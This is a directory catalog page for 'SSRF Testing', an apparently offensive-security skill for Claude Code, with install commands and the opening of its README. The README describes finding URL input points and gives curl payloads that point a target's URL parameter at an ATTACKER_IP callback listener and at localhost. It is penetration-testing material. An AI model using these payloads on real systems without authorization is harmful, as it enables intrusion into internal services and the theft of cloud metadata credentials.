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QualityTypeScript

SSRF Testing

by CyberStrikeus

SSRF Testing is a Quality skill for Claude Code, published by CyberStrikeus in CyberStrike.

1.7K stars269 forkson CyberStrikeus/CyberStrikeAdded 2026/08/12+4% in starsRepository updated 2026/08/12
aiai-agentai-securitybug-bountycybersecuritydevsecopsethical-hackinghackinghacking-toolllmmcpmcp-servermitre-attackoffensive-securityowasppenetration-testingpentestred-teamsecuritysecurity-tools
Install in seconds
Install SSRF Testing
Copy SSRF Testing into your Claude Code skills folder. Run the command in your terminal, or review the source on GitHub before installing.
terminal
npx degit https://github.com/CyberStrikeus/CyberStrike/tree/main/.cyberstrike/skill/attack-ssrf ~/.claude/skills/attack-ssrf

Requires Node.js. Downloads this skill only — not the rest of the repository — into your Claude Code skills folder.

Without Node.js

git clone https://github.com/CyberStrikeus/CyberStrike.git

Clones the whole repository, then copy the skill’s own directory into your skills folder yourself.

In this catalog

Source file
.cyberstrike/skill/attack-ssrf/SKILL.md in CyberStrikeus/CyberStrike
Installs to
~/.claude/skills/attack-ssrf
Collection
One of 51 skills cataloged from this repository
Category
Quality1354 skills

What SSRF Testing does

SSRF Testing checks URL-handling features for server-side request forgery. Use it to probe internal resources, cloud metadata endpoints, and common filter bypasses.

SSRF Testing is cataloged under Quality on DirSkills. SSRF Testing comes from a repository tagged ai, ai-agent, ai-security, bug-bounty and cybersecurity.

Documentation

README

Server-Side Request Forgery (SSRF)

Objective

Force the server to make requests to internal resources, cloud metadata endpoints, or attacker-controlled servers.

Testing Methodology

Phase 1: Identify URL Input Points

Look for parameters that accept URLs:

  • Webhook URLs, callback URLs
  • File import/export (URL-based)
  • PDF/image generation from URL
  • URL preview/unfurling
  • Proxy/redirect endpoints

Phase 2: Basic SSRF Payloads

# Start callback listener
attack_script ssrf_listener -p 8888 -o ssrf_evidence.json &

# Test URL parameters
curl "https://TARGET/api/fetch?url=http://ATTACKER_IP:8888/ssrf-test"
curl "https://TARGET/api/preview?link=http://127.0.0.1:80"

Phase 3: Cloud Metadata

This is the opening of the README. Read the full README on GitHub.

Frequently asked about SSRF Testing

  • What else does CyberStrikeus publish alongside SSRF Testing?

    SSRF Testing is one of 51 skills that DirSkills catalogs from CyberStrikeus/CyberStrike, the repository it ships in. Its siblings there include AMI Age Compliance, AMI Encryption Check and AMI Naming Convention Compliance. Each one is a separate skill with its own page in this directory, installs the same way SSRF Testing does, and is maintained by CyberStrikeus in that same repository. The rest of the collection is listed on the CyberStrikeus/CyberStrike page.

  • How does SSRF Testing compare to other Quality skills?

    SSRF Testing ranks #609 by stars among the 1354 Quality skills in this catalog. The most-starred ones next to it are Benchmark, Benchmark Optimization Loop and API Design Patterns. DirSkills ranks by the star count of the repository each skill ships in, so that order reflects how popular those repositories are rather than any review of SSRF Testing against them. Open each page to compare what they document and how they install.

More from CyberStrikeus/CyberStrike

SSRF Testing is one of 51 skills cataloged on DirSkills from CyberStrikeus/CyberStrike.

See all 51 skills